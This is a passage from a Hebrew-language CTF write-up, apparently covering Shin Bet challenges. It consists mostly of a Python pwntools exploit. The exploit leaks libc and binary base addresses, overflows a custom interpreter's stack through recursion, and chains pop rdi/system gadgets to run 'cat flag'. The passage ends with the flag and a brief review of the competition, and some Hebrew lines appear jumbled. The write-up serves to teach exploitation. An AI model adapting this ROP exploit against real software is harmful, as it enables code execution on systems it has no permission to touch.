    payload = ['label rec', 

                'def i 0x0', 

                'load i $9', 

                'def one 0x1', 

                'def big 0xFE', 

                'add i i one', 

                'store $9 i', 

                'sub i i big', 

                'cbz i stop', 

                'call rec', 

                'label stop', 

                'def t3 0x%x' % rip, 

                'store $0 t3', 

                'def t4 0x%x' % pop_rdi_ret, 

                'store $4 t4', 

                'def t5 0x%x' % rdi, 

                'store $5 t5', 

                'def t6 0x%x' % system, 

                'store $6 t6', 

                'def t7 0x%x' % u64("cat flag".ljust(8, '\x00')), 

                'store $9 t7', 

                'def t8 0x0', 

                'def t9 0x0', 

                'def t10 0x0', 

                'def t11 0x0', 

                'def t12 0x0', 

                'def t13 0x0', 

                'def t14 0x0', 
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                'def t15 0x0', 

                'def t16 0x0', 

                'def t17 0x0', 

                'def t18 0x0', 

                'def t19 0x0', 

                'def t20 0x0', 

                'def t21 0x0', 

                'def t22 0x0', 

                'def t23 0x0', 

                'def t24 0x0', 

                'def t25 0x0', 

                'def t26 0x0', 

                'def t27 "D%s"' % p64(rsp_val)[:6], 

                'def t28 ""', 

                'def s0 

"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD%s"' % 

p64(rsp_val)[:6], 

                'def s1 

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%s"' % p64(rip)[:6], 

                'def s2 ""', 

                'add s2 s0 s2', 

                'sub s2 s2 t27', # put a NULL in there 

                'mov s2 t28', 

                'add s2 s1 s2', 

                'ret', 

                'label main', 

                'def i 0x0', 

                'print i', 

                'def d 0xDEADBEEF', 

                'store $0 d', 

                'store $9 i', 

                'call rec', 

                'ret'] 

 

    return len(payload), '\n'.join(payload) 

 

p = None 

SYSTEM_OFFSET = 0x55410 

INTERPRETER_REGS_OFFSET = 0x9290 

POP_RDI_RET = 0x4333 # pop rdi ; ret 

POP_RSP_POP_POP_POP_RET = 0x432d # pop rsp; pop r13; pop r14; pop r15;ret 

 

def main(): 

    global p 

 

    libc_base = leak_libc_base() 

    log.success("Libc Base: " + hex(libc_base)) 

    binary_base = leak_binary_base() 

    log.success("Bin  Base: " + hex(binary_base)) 

 

    l, payload = gen_rip_payload( 

                   binary_base + POP_RSP_POP_POP_POP_RET, 

                   binary_base + INTERPRETER_REGS_OFFSET + 8, # alignment 

                   binary_base + POP_RDI_RET, 

                   binary_base + INTERPRETER_REGS_OFFSET + 8 * 9, # cmd 

                   libc_base   + SYSTEM_OFFSET) 

 

    p.sendline('\n'.join([str(l), payload, 'n'])) 

    p.interactive() 

 

if __name__ == "__main__": 

    main() 
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 והתוצאה:

 

flag{Mitigations_are_attack_surface_too!} 
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 סיכום

 האתגרים השנה היו ברמה גבוהה מאוד, וניכר שהושקע בהם מאמץ רב על מנת שיהיו מהנים וייחודיים.

לבינארי, אלא  Reversing, כך שלא מתבזבז זמן על pwn-ספציפית אהבתי שקיבלנו קוד מקור באתגרי ה

 ולהשמיש אותן. רוב הזמן הולך על למצוא את החולשות

-(, שזה אתגר חריג בנוף של בינאריים וNFC) Blackboxגם אהבתי שהצליחו להכניס אתגר רברסינג 

image-.ים של ארכיטקטורות מוזרות, הדורש מעבר על חומר טכני והבנה של פרוטוקול תקשורת 

לי, כי יש קהילה  , וזה חבלpwnברובם אין דגש על אתגרי  -ים ישראלים ctfיצא לי לפתור כמה וכמה 

 שלמה של אנשים שנהנים ומסוגלים לפתור אתגרים מהסוג הזה.

 בעתיד! pwnמקווה שמארגני תחרויות עתידיים ייקחו את האתגרים של השב"כ כדוגמה, ושנראה עוד אני 

  !ממתין בציפייה לאתגר הבאאני 


